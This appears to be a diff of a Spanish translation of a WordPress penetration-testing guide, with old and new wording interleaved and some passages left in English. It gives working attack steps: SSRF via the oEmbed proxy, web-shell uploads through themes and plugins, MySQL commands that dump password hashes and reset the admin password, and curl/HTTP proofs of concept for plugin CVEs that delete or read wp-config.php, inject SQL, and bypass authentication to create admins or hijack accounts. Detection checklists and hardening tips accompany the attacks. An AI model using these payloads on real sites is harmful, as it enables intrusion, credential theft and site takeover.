Revisa el uso de **`system.multicall`** en la sección anterior para aprender cómo abusar de este método para causar DDoS.
**DDoS**
```html
@ -210,14 +209,14 @@ Consulta el uso de **`system.multicall`** en la sección anterior para aprender
### wp-cron.php DoS
Este archivo suele existir en la raíz del sitio Wordpress: **`/wp-cron.php`**\
Cuando se **accede** a este archivo se ejecuta una consulta MySQL **pesada**, por lo que podría ser utilizada por **attackers** para **causar** un **DoS**.\
Además, por defecto, `wp-cron.php` se llama en cada carga de página (cada vez que un client solicita cualquier página de Wordpress), lo que en sitios con alto tráfico puede causar problemas (DoS).
Cuando este archivo es **accedido** se ejecuta una consulta MySQL **"pesada"**, por lo que podría ser usado por **atacantes** para **causar** un **DoS**.\
Además, por defecto, el `wp-cron.php` se llama en cada carga de página (cada vez que un cliente solicita cualquier página de Wordpress), lo que en sitios de alto tráfico puede causar problemas (DoS).
Se recomienda deshabilitar Wp-Cron y crear un cronjob real en el host que ejecute las acciones necesarias a intervalos regulares (sin causar problemas).
Se recomienda desactivar Wp-Cron y crear un cronjob real dentro del host que ejecute las acciones necesarias en intervalos regulares (sin causar problemas).
### /wp-json/oembed/1.0/proxy - SSRF
Prueba a acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio Worpress puede realizar una petición hacia ti.
Intenta acceder a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ y el sitio Wordpress puede hacer una petición hacia ti.
This is the response when it doesn't work:
@ -230,7 +229,7 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
Esta herramienta comprueba si existe **methodName: pingback.ping** y la ruta **/wp-json/oembed/1.0/proxy**; si existen, intenta explotarlos.
Esta herramienta comprueba si existe **methodName: pingback.ping** y la ruta **/wp-json/oembed/1.0/proxy**, y si existen, intenta explotarlos.
## Herramientas automáticas
```bash
@ -240,22 +239,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Obtener acceso sobrescribiendo un bit
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podías invertir 1 bit de cualquier archivo de wordpress. Así, podías invertir la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para convertir en NOP la operación NOT (`!`).
Más que un ataque real, esto es una curiosidad. En el CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) podías voltear 1 bit de cualquier archivo de wordpress. Así, podías voltear la posición `5389` del archivo `/var/www/html/wp-includes/user.php` para convertir en NOP la operación NOT (`!`).
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **Panel RCE**
**Modificando un php del theme usado (se necesitan credenciales admin)**
**Modificando un php del tema usado (se necesitan credenciales de administrador)**
Appearance → Theme Editor → 404 Template (a la derecha)
Apariencia → Editor de temas → Plantilla 404 (a la derecha)
Cambia el contenido por un php shell:
Cambia el contenido por un shell PHP:
![](<../../images/image (384).png>)
Busca en Internet cómo puedes acceder a esa página actualizada. En este caso tienes que acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Busca en internet cómo puedes acceder a esa página actualizada. En este caso tienes que acceder aquí: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -269,56 +268,56 @@ para obtener una sesión.
### PHP plugin
It may be possible to upload .php files as a plugin.\
Create your php backdoor using for example:
Puede ser posible subir archivos .php como un plugin.\
Crea tu php backdoor usando por ejemplo:
![](<../../images/image (183).png>)
Then add a new plugin:
Luego agrega un nuevo plugin:
![](<../../images/image (722).png>)
Upload plugin and press Install Now:
Sube el plugin y presiona Install Now:
![](<../../images/image (249).png>)
Click on Procced:
Haz clic en Procced:
![](<../../images/image (70).png>)
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
Probablemente esto aparentemente no hará nada, pero si vas a Media, verás tu shell subido:
![](<../../images/image (462).png>)
Access it and you will see the URL to execute the reverse shell:
Accede a él y verás la URL para ejecutar el reverse shell:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
### Subiendo y activando un plugin malicioso
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede explotarse para obtener un web shell. Este proceso se lleva a cabo a través del dashboard de WordPress de la siguiente manera:
Este método implica la instalación de un plugin malicioso conocido por ser vulnerable y que puede explotarse para obtener un web shell. Este proceso se realiza a través del Dashboard de WordPress de la siguiente manera:
1. **Adquisición del plugin**: El plugin se obtiene de una fuente como Exploit DB como [**here**](https://www.exploit-db.com/exploits/36374).
1. **Adquisición del plugin**: El plugin se obtiene de una fuente como Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
2. **Instalación del plugin**:
- Navega al dashboard de WordPress, luego ve a `Dashboard > Plugins > Upload Plugin`.
- Navega al Dashboard de WordPress, luego ve a `Dashboard > Plugins > Upload Plugin`.
- Sube el archivo zip del plugin descargado.
3. **Activación del plugin**: Una vez que el plugin se instala correctamente, debe activarse desde el dashboard.
3. **Activación del plugin**: Una vez que el plugin se instala correctamente, debe activarse a través del dashboard.
4. **Explotación**:
- Con el plugin "reflex-gallery" instalado y activado, puede explotarse ya que es conocido por ser vulnerable.
- El framework Metasploit proporciona un exploit para esta vulnerabilidad. Cargando el módulo apropiado y ejecutando comandos específicos, puede establecerse una sesión meterpreter, otorgando acceso no autorizado al sitio.
- El Metasploit framework proporciona un exploit para esta vulnerabilidad. Al cargar el módulo apropiado y ejecutar comandos específicos, puede establecerse una sesión meterpreter, otorgando acceso no autorizado al sitio.
- Se señala que este es solo uno de los muchos métodos para explotar un sitio WordPress.
El contenido incluye ayudas visuales que muestran los pasos en el dashboard de WordPress para instalar y activar el plugin. Sin embargo, es importante señalar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como pruebas de penetración con permiso explícito.
El contenido incluye ayudas visuales que muestran los pasos en el dashboard de WordPress para instalar y activar el plugin. Sin embargo, es importante notar que explotar vulnerabilidades de esta manera es ilegal y poco ético sin la debida autorización. Esta información debe usarse de forma responsable y solo en un contexto legal, como pentesting con permiso explícito.
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una vulnerabilidad de **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más info revisa [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona **soporte para Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ es un script diseñado para escalar una vulnerabilidad de **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** u otras vulnerabilidades críticas en WordPress. Para más info revisa [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Proporciona soporte para versiones de WordPress 6.X.X, 5.X.X y 4.X.X y permite:
- _**Privilege Escalation:**_ Crea un usuario en WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Sube tu plugin personalizado (backdoor) a WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edita un Built-In Plugin en WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edita un Built-In Theme en WordPress.
- _**(RCE) Built-In Plugin Edit:**_ Edita plugins Built-In en WordPress.
- _**(RCE) Built-In Theme Edit:**_ Edita themes Built-In en WordPress.
- _**(Custom) Custom Exploits:**_ Exploits personalizados para plugins/temas de terceros de WordPress.
## Post Exploitation
@ -327,7 +326,7 @@ Extraer nombres de usuario y contraseñas:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
Cambiar la contraseña del admin:
Cambiar la contraseña del administrador:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
@ -335,25 +334,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
### Attack Surface
Saber cómo un plugin de Wordpress puede exponer funcionalidades es clave para encontrar vulnerabilidades en su funcionamiento. Puedes ver cómo un plugin podría exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
Saber cómo un plugin de Wordpress puede exponer funcionalidad es clave para encontrar vulnerabilidades en dicha funcionalidad. Puedes ver cómo un plugin puede exponer funcionalidad en los siguientes puntos y algunos ejemplos de plugins vulnerables en [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
- **`wp_ajax`**
Una de las maneras en que un plugin puede exponer funciones a usuarios es a través de manejadores AJAX. Estos pueden contener fallos de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un wordpress nonce que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol).
Una de las formas en que un plugin puede exponer funciones a los usuarios es vía handlers de AJAX. Estos pueden contener errores de lógica, autorización o autenticación. Además, es bastante frecuente que estas funciones basen tanto la autenticación como la autorización en la existencia de un wordpress nonce que **cualquier usuario autenticado en la instancia de Wordpress podría tener** (independientemente de su rol).
Estas son las funciones que pueden usarse para exponer una función en un plugin:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**El uso de `nopriv` hace que el endpoint sea accesible por cualquier usuario (incluso usuarios no autenticados).**
**El uso de `nopriv` hace que el endpoint sea accesible por cualquier usuario (incluso por usuarios no autenticados).**
> [!CAUTION]
> Además, si la función solo está comprobando la autorización del usuario con la función `wp_verify_nonce`, esta función solo verifica que el usuario ha iniciado sesión; normalmente no comprueba el rol del usuario. Por lo tanto, usuarios de bajo privilegio podrían tener acceso a acciones de alto privilegio.
> Además, si la función solo está comprobando la autorización del usuario con la función `wp_verify_nonce`, esa función únicamente verifica que el usuario haya iniciado sesión; normalmente no comprueba el rol del usuario. Por ello, usuarios con bajos privilegios podrían tener acceso a acciones de alto privilegio.
- **REST API**
También es posible exponer funciones en wordpress registrando una REST API usando la función `register_rest_route`:
También es posible exponer funciones desde wordpress registrando una REST API usando la función `register_rest_route`:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +362,21 @@ $this->namespace, '/get/', array(
)
);
```
El `permission_callback` es una función callback que comprueba si un usuario dado está autorizado para invocar el método de la API.
El `permission_callback` es una callback a una función que verifica si un usuario dado está autorizado para llamar al método de la API.
**Si se usa la función integrada `__return_true`, simplemente omitirá la comprobación de permisos del usuario.**
**Si se usa la función integrada `__return_true`, simplemente omitirá la comprobación de permisos de usuario.**
- **Acceso directo al archivo PHP**
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Por lo tanto, si un plugin expone alguna funcionalidad vulnerable que se activa simplemente accediendo al archivo, será explotable por cualquier usuario.
Por supuesto, Wordpress usa PHP y los archivos dentro de los plugins son directamente accesibles desde la web. Así que, en caso de que un plugin exponga alguna funcionalidad vulnerable que se active simplemente accediendo al archivo, será explotable por cualquier usuario.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Algunos plugins implementan atajos de “trusted header” para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto de usuario actual en las peticiones REST. Si el header no está ligado criptográficamente a la petición por un componente upstream, un atacante puede spoofearlo y acceder a rutas REST privilegiadas como administrador.
Algunos plugins implementan “trusted header” shortcuts para integraciones internas o reverse proxies y luego usan ese header para establecer el contexto del usuario actual en las peticiones REST. Si el header no está vinculado criptográficamente a la petición por un componente upstream, un atacante puede falsificarlo y acceder a rutas REST privilegiadas como administrador.
- Impacto: unauthenticated privilege escalation a admin al crear un nuevo administrador vía la core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (fuerza el user ID 1, típicamente la primera cuenta de administrador).
- Exploited route: `POST /wp-json/wp/v2/users` con un elevated role array.
- Impacto: escalada de privilegios sin autenticación a admin creando un nuevo administrador vía la core users REST route.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (fuerza el ID de usuario 1, típicamente la primera cuenta de administrador).
- Exploited route: `POST /wp-json/wp/v2/users` con un array de rol elevado.
PoC
```http
@ -393,29 +392,29 @@ Content-Length: 114
```
Por qué funciona
- El plugin mapea un header controlado por el cliente al estado de autenticación y omite las comprobaciones de capacidades.
- WordPress core espera la capacidad `create_users` para esta ruta; el hack del plugin la evita estableciendo directamente el contexto del usuario actual desde el header.
- El plugin asigna una cabecera controlada por el cliente al estado de autenticación y omite las comprobaciones de capacidades.
- WordPress core espera la capacidad `create_users` para esta ruta; el hack del plugin la evita estableciendo directamente el contexto del usuario actual a partir de la cabecera.
Indicadores de éxito esperados
- HTTP 201 con un cuerpo JSON describiendo el usuario creado.
- Un nuevo usuario admin visible en `wp-admin/users.php`.
- HTTP 201 con un cuerpo JSON que describe el usuario creado.
- Un nuevo usuario administrador visible en `wp-admin/users.php`.
Lista de verificación de detección
Lista de comprobación de detección
- Grep por `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs que leen headers personalizados para establecer el contexto de usuario (p. ej., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisar las registraciones de REST en busca de callbacks privilegiados que carecen de comprobaciones robustas de `permission_callback` y en su lugar dependen de headers de la petición.
- Buscar usos de funciones core de gestión de usuarios (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que están condicionados únicamente por valores de headers.
- Buscar con grep `getallheaders()`, `$_SERVER['HTTP_...']`, o SDKs de terceros que lean cabeceras personalizadas para establecer el contexto de usuario (p. ej., `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Revisar los registros de REST en busca de callbacks privilegiados que carezcan de comprobaciones robustas de `permission_callback` y en su lugar dependan de las cabeceras de la petición.
- Buscar usos de funciones core de gestión de usuarios (`wp_insert_user`, `wp_create_user`) dentro de manejadores REST que estén protegidos únicamente por valores de cabeceras.
### Eliminación arbitraria de archivos sin autenticar vía wp_ajax_nopriv (Litho Theme <= 3.0)
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
Los temas y plugins de WordPress frecuentemente exponen handlers AJAX a través de los hooks `wp_ajax_` y `wp_ajax_nopriv_`. Cuando se usa la variante **_nopriv_** **el callback se vuelve accesible por visitantes no autenticados**, por lo que cualquier acción sensible debe además implementar:
Los temas y plugins de WordPress frecuentemente exponen manejadores AJAX a través de los hooks `wp_ajax_` y `wp_ajax_nopriv_`. Cuando la variante **_nopriv_** se usa **la callback se vuelve accesible por visitantes no autenticados**, por lo que cualquier acción sensible debe además implementar:
1. Una **comprobación de capacidades** (p. ej. `current_user_can()` o al menos `is_user_logged_in()`), y
2. Un **nonce CSRF** validado con `check_ajax_referer()` / `wp_verify_nonce()`, y
3. **Saneamiento / validación estricta de entradas**.
3. **Sanitización / validación estricta de entradas**.
El theme multipropósito Litho (< 3.1) olvidó esos 3 controles en la funcionalidad *Remove Font Family* y terminó incluyendo el siguiente código (simplificado):
El tema multipropósito Litho (< 3.1) olvidó esos 3 controles en la funcionalidad *Remove Font Family* y terminó distribuyendo el siguiente código (simplificado):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -436,31 +435,31 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
Problemas introducidos por este fragmento:
* **Acceso no autenticado** se registra el hook `wp_ajax_nopriv_`.
* **Sin comprobación de nonce / capability** cualquier visitante puede acceder al endpoint.
* **Sin sanitización de ruta** la cadena controlada por el usuario `fontfamily` se concatena a una ruta de sistema de archivos sin filtrado, permitiendo el clásico `../../` traversal.
* **Acceso no autenticado** el `wp_ajax_nopriv_` hook está registrado.
* **No nonce / capability check** cualquier visitante puede acceder al endpoint.
* **Sin saneamiento de rutas** la cadena controlada por el usuario `fontfamily` se concatena a una ruta del sistema de archivos sin filtrar, permitiendo el clásico `../../` traversal.
#### Explotación
Un atacante puede eliminar cualquier archivo o directorio **debajo del directorio base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando una única solicitud HTTP POST:
Un atacante puede eliminar cualquier archivo o directorio **por debajo del directorio base de uploads** (normalmente `<wp-root>/wp-content/uploads/`) enviando una única petición HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *asistente de instalación* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
#### Lista de verificación de detección
#### Detection checklist
* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
* Cualquier callback `add_action( 'wp_ajax_nopriv_...')` que invoque helpers del sistema de archivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
* Concatenación de entrada de usuario no saneada en rutas (buscar `$_POST`, `$_GET`, `$_REQUEST`).
* Ausencia de `check_ajax_referer()` y `current_user_can()`/`is_user_logged_in()`.
---
### Privilege escalation vía restauración de roles obsoletos y autorización faltante (ASE "View Admin as Role")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.
@ -483,7 +482,7 @@ Por qué es explotable
- Confía en `$_REQUEST['reset-for']` y en una opción del plugin sin autorización del lado del servidor.
- Si un usuario previamente tenía privilegios más altos guardados en `_asenha_view_admin_as_original_roles` y fue degradado, puede restaurarlos accediendo a la ruta de reset.
- En algunas implementaciones, cualquier usuario autenticado podría desencadenar un reset para otro nombre de usuario aún presente en `viewing_admin_as_role_are` (autorización rota).
- En algunas implementaciones, cualquier usuario autenticado podría desencadenar un reset para otro nombre de usuario todavía presente en `viewing_admin_as_role_are` (autorización rota).
Explotación (ejemplo)
```bash
@ -493,21 +492,21 @@ Explotación (ejemplo)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
En versiones vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., `administrator`), escalando efectivamente privilegios.
En builds vulnerables esto elimina los roles actuales y vuelve a añadir los roles originales guardados (p. ej., `administrator`), effectively escalating privileges.
Lista de comprobación de detección
Detection checklist
- Buscar funciones de cambio de rol que persistan “original roles” en user meta (p. ej., `_asenha_view_admin_as_original_roles`).
- Identificar rutas de restablecimiento/recuperación que:
- Lean nombres de usuario desde `$_REQUEST` / `$_GET` / `$_POST`.
- Modifiquen roles vía `add_role()` / `remove_role()` sin `current_user_can()` y `wp_verify_nonce()` / `check_admin_referer()`.
- Autoricen basándose en un array de opciones del plugin (p. ej., `viewing_admin_as_role_are`) en lugar de las capacidades del actor.
- Look for role-switching features that persist “original roles” in user meta (e.g., `_asenha_view_admin_as_original_roles`).
- Identify reset/restore paths that:
- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`.
- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
- Authorize based on a plugin option array (e.g., `viewing_admin_as_role_are`) instead of the actors capabilities.
---
### Escalada de privilegios no autenticada vía cambio de usuario confiando en cookie en init público (Service Finder “sf-booking”)
### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
Algunos plugins enganchan helpers de cambio de usuario al hook público `init` y derivan la identidad de una cookie controlada por el cliente. Si el código llama a `wp_set_auth_cookie()` sin verificar la autenticación, las capacidades y un nonce válido, cualquier visitante no autenticado puede forzar el login como un ID de usuario arbitrario.
Algunos plugins enganchan helpers de user-switching al hook público `init` y derivan la identidad a partir de una cookie controlada por el cliente. Si el código llama a `wp_set_auth_cookie()` sin verificar autenticación, capability y un nonce válido, cualquier visitante no autenticado puede forzar el inicio de sesión como un ID de usuario arbitrario.
Patrón vulnerable típico (simplificado de Service Finder Bookings ≤ 6.1):
```php
@ -540,9 +539,9 @@ wp_die('No original user found to switch back to.');
```
Por qué es explotable
- El hook público `init` hace que el manejador sea accesible por usuarios no autenticados (sin la comprobación `is_user_logged_in()`).
- El hook público `init` hace que el handler sea accesible por usuarios no autenticados (sin la verificación `is_user_logged_in()`).
- La identidad se deriva de una cookie modificable por el cliente (`original_user_id`).
- La llamada directa a `wp_set_auth_cookie($uid)` inicia sesión al solicitante como ese usuario sin ninguna comprobación de capacidades/nonce.
- Una llamada directa a `wp_set_auth_cookie($uid)` inicia sesión al solicitante como ese usuario sin comprobaciones de capability/nonce.
Explotación (sin autenticación)
```http
@ -554,32 +553,32 @@ Connection: close
```
---
### Consideraciones de WAF para CVEs de WordPress/plugin
### Consideraciones de WAF para CVEs de WordPress/plugins
Los WAFs genéricos en edge/servidor están ajustados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugin son fallos de lógica/`auth` específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica del plugin.
Los WAF genéricos de edge/servidor están ajustados para patrones amplios (SQLi, XSS, LFI). Muchas vulnerabilidades de alto impacto en WordPress/plugins son fallos de lógica/autenticación específicos de la aplicación que parecen tráfico benigno a menos que el motor entienda las rutas de WordPress y la semántica del plugin.
Offensive notes
Notas ofensivas
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- Apunta a endpoints específicos del plugin con payloads limpios: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Prueba primero rutas no autenticadas (AJAX `nopriv`, REST con permissive `permission_callback`, shortcodes públicos). Los payloads por defecto suelen funcionar sin ofuscación.
- Casos típicos de alto impacto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
Notas defensivas
- No confíes en firmas genéricas de WAF para proteger CVEs de plugins. Implementa parches virtuales específicos para la vulnerabilidad a nivel de aplicación o actualiza rápidamente.
- Prefiere controles de seguridad de tipo positivo en el código (capabilities, nonces, strict input validation) en vez de filtros regex negativos.
- No confíes en firmas genéricas de WAF para proteger CVEs de plugins. Implementa parches virtuales a nivel de aplicación específicos para la vulnerabilidad o actualiza rápidamente.
- Prefiere controles de seguridad de tipo positivo en el código (capabilities, nonces, strict input validation) en lugar de filtros regex negativos.
## WordPress Protection
## Protección de WordPress
### Regular Updates
### Actualizaciones regulares
Asegúrate de que WordPress, plugins y themes estén actualizados. También confirma que las actualizaciones automáticas estén habilitadas en wp-config.php:
Asegúrate de que WordPress, los plugins y los themes estén actualizados. También confirma que la actualización automática esté habilitada en wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Además, **solo instala plugins y temas confiables de WordPress**.
Also, **instala solo plugins y temas de WordPress de confianza**.
### Plugins de seguridad
@ -589,11 +588,11 @@ Además, **solo instala plugins y temas confiables de WordPress**.
### **Otras recomendaciones**
- Elimina el usuario por defecto **admin**
- Usa **contraseñas fuertes** y **2FA**
- Revisa periódicamente los **permisos** de los usuarios
- **Limita los intentos de login** para prevenir ataques Brute Force
- Renombra el archivo `wp-admin.php` y permite el acceso solo desde la red interna o desde ciertas direcciones IP.
- Eliminar el usuario predeterminado **admin**
- Usar **contraseñas fuertes** y **2FA**
- Revisar periódicamente los **permisos** de los usuarios
- **Limitar los intentos de inicio de sesión** para prevenir Brute Force attacks
- Renombrar el archivo **`wp-admin.php`** y permitir acceso solo internamente o desde ciertas direcciones IP.
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
@ -608,19 +607,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Problemas introducidos por este fragmento:
Problems introducidos por este fragmento:
1. **Entrada de usuario no saneada** `parentid` proviene directamente de la petición HTTP.
2. **Concatenación de cadenas dentro de la cláusula WHERE** no se usa `is_numeric()` / `esc_sql()` / sentencia preparada.
3. **Accesibilidad sin autenticar** aunque la acción se ejecuta a través de `admin-post.php`, la única comprobación es un **CSRF nonce** (`wp_verify_nonce()`), que cualquier visitante puede obtener desde una página pública que incluya el shortcode `[wpjobportal_my_resumes]`.
1. **Unsanitised user input** `parentid` proviene directamente de la petición HTTP.
2. **String concatenation inside the WHERE clause** no hay `is_numeric()` / `esc_sql()` / prepared statement.
3. **Unauthenticated reachability** aunque la acción se ejecuta a través de `admin-post.php`, la única comprobación es un **CSRF nonce** (`wp_verify_nonce()`), que cualquier visitante puede obtener desde una página pública que incluya el shortcode `[wpjobportal_my_resumes]`.
#### Explotación
1. Obtén un nonce fresco:
1. Obtener un nonce fresco:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Inyecta SQL arbitraria abusando de `parentid`:
2. Inyectar SQL arbitrario abusando de `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -628,18 +627,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando el SQLi.
La respuesta revela el resultado de la consulta inyectada o altera la base de datos, demostrando SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Otra tarea, **downloadcustomfile**, permitía a visitantes descargar **cualquier archivo en disco** mediante path traversal. El sink vulnerable se encuentra en `modules/customfield/model.php::downloadCustomUploadedFile()`:
Otra tarea, **downloadcustomfile**, permitía a los visitantes descargar **cualquier archivo en disco** mediante path traversal. El vulnerable sink está ubicado en `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` está controlado por el atacante y concatenado **sin sanitización**. De nuevo, la única barrera es un **CSRF nonce** que se puede obtener desde la página del CV.
`$file_name` está controlado por el atacante y concatenado **sin saneamiento**. De nuevo, la única barrera es un **CSRF nonce** que puede obtenerse desde la página del currículum.
#### Explotación
```bash
@ -652,9 +651,9 @@ curl -G https://victim.com/wp-admin/admin-post.php \
```
El servidor responde con el contenido de `wp-config.php`, leaking DB credentials and auth keys.
## Toma de control de cuenta sin autenticación vía Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
## Toma de control de cuenta no autenticada vía Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Muchos themes/plugins incluyen helpers de "social login" expuestos vía admin-ajax.php. Si una acción AJAX no autenticada (wp_ajax_nopriv_...) confía en identificadores proporcionados por el cliente cuando faltan los datos del proveedor y luego llama a wp_set_auth_cookie(), esto se convierte en un bypass de autenticación completo.
Muchos temas/plugins incluyen helpers de "social login" expuestos a través de admin-ajax.php. Si una acción AJAX no autenticada (wp_ajax_nopriv_...) confía en identificadores proporcionados por el cliente cuando faltan los datos del proveedor y luego llama a wp_set_auth_cookie(), esto se convierte en un bypass de autenticación completo.
Patrón defectuoso típico (simplificado)
```php
@ -687,15 +686,15 @@ wp_send_json(['status' => 'not_user']);
```
Por qué es explotable
- Alcance sin autenticación a través de admin-ajax.php (acción wp_ajax_nopriv_…).
- Accesible sin autenticación vía admin-ajax.php (acción wp_ajax_nopriv_…).
- No hay comprobaciones de nonce/capability antes del cambio de estado.
- Falta verificación del proveedor OAuth/OpenID; la rama por defecto acepta la entrada del atacante.
- get_user_by('email', $_POST['id']) seguido de wp_set_auth_cookie($uid) autentica al solicitante como cualquier dirección de correo electrónico existente.
- get_user_by('email', $_POST['id']) seguido de wp_set_auth_cookie($uid) autentica al solicitante como cualquier dirección de correo existente.
Explotación (sin autenticación)
- Requisitos previos: el atacante puede alcanzar /wp-admin/admin-ajax.php y conoce/adivina un email de usuario válido.
- Establecer provider a un valor no soportado (o omitirlo) para golpear la rama por defecto y pasar id=<victim_email>.
